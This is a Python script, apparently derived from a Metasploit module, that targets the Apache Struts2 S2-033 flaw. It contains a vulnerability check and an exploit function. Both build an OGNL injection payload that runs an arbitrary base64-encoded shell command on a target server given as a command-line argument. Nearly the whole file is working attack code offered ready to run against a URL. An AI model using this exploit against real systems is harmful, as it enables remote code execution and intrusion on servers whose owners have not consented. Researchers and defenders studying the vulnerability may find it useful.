#!/usr/bin/python # -*- coding: utf-8 -*- import requests import random import base64 upperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lowerAlpha = "abcdefghijklmnopqrstuvwxyz" numerals = "0123456789" allchars = [chr(_) for _ in xrange(0x00, 0xFF + 0x01)] def rand_base(length, bad, chars): '''generate a random string with chars collection''' cset = (set(chars) - set(list(bad))) if len(cset) == 0: return "" chars = [list(cset)[random.randrange(len(cset))] for i in xrange(length)] chars = map(str, chars) return "".join(chars) def rand_char(bad='', chars=allchars): '''generate a random char with chars collection''' return rand_base(1, bad, chars) def rand_text(length, bad='', chars=allchars): '''generate a random string (cab be with unprintable chars)''' return rand_base(length, bad, chars) def rand_text_alpha(length, bad=''): '''generate a random string with alpha chars''' chars = upperAlpha + lowerAlpha return rand_base(length, bad, set(chars)) def rand_text_alpha_lower(length, bad=''): '''generate a random lower string with alpha chars''' return rand_base(length, bad, set(lowerAlpha)) def rand_text_alpha_upper(length, bad=''): '''generate a random upper string with alpha chars''' return rand_base(length, bad, set(upperAlpha)) def rand_text_alphanumeric(): '''generate a random string with alpha and numerals chars''' chars = upperAlpha + lowerAlpha + numerals return rand_base(length, bad, set(chars)) def rand_text_numeric(length, bad=''): '''generate a random string with numerals chars''' return rand_base(length, bad, set(numerals)) def generate_rce_payload(code): '''generate apache struts2 s2-033 payload. ''' payload = "" payload += requests.utils.quote("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") payload += "," payload += requests.utils.quote(code) payload += "," payload += requests.utils.quote("#xx.toString.json") payload += "?" payload += requests.utils.quote("#xx:#request.toString") return payload def check(url): '''check if url is vulnerable to apache struts2 S2-033. ''' var_a = rand_text_alpha(4) var_b = rand_text_alpha(4) flag = rand_text_alpha(5) addend_one = int(rand_text_numeric(2)) addend_two = int(rand_text_numeric(2)) addend_sum = addend_one + addend_two code = "#{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," code += "#{var_a}.print(#parameters.{var_b}[0])," code += "#{var_a}.print(new java.lang.Integer({addend_one}+{addend_two}))," code += "#{var_a}.print(#parameters.{var_b}[0])," code += "#{var_a}.close()" payload = generate_rce_payload(code.format( var_a=var_a, var_b=var_b, addend_one=addend_one, addend_two=addend_two )) url = url + "/" + payload resp = requests.post(url, data={ var_b: flag }, timeout=8) vul_flag = "{flag}{addend_sum}{flag}".format(flag=flag, addend_sum=addend_sum) if resp and resp.status_code == 200 and vul_flag in resp.text: return True, resp.text return False, '' def exploit(url, cmd): '''exploit url with apache struts2 S2-033. ''' var_a = rand_text_alpha(4) var_b = rand_text_alpha(4) # cmd code = "#{var_a}=new sun.misc.BASE64Decoder()," # code += "@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))" # Error 500 code += "#wr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," code += "#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0]))))," code += "#wr.println(#rs),#wr.flush(),#wr.close()" payload = generate_rce_payload(code.format( var_a=var_a, var_b=var_b )) url = url + "/" + payload requests.post(url, data={ var_b: base64.b64encode(cmd) }, timeout=8) if __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] python {} ".format(sys.argv[0])) sys.exit(1) url = sys.argv[1] cmd = sys.argv[2] print(check(url)) exploit(url, cmd) ## References # 1. https://github.com/rapid7/metasploit-framework/pull/6945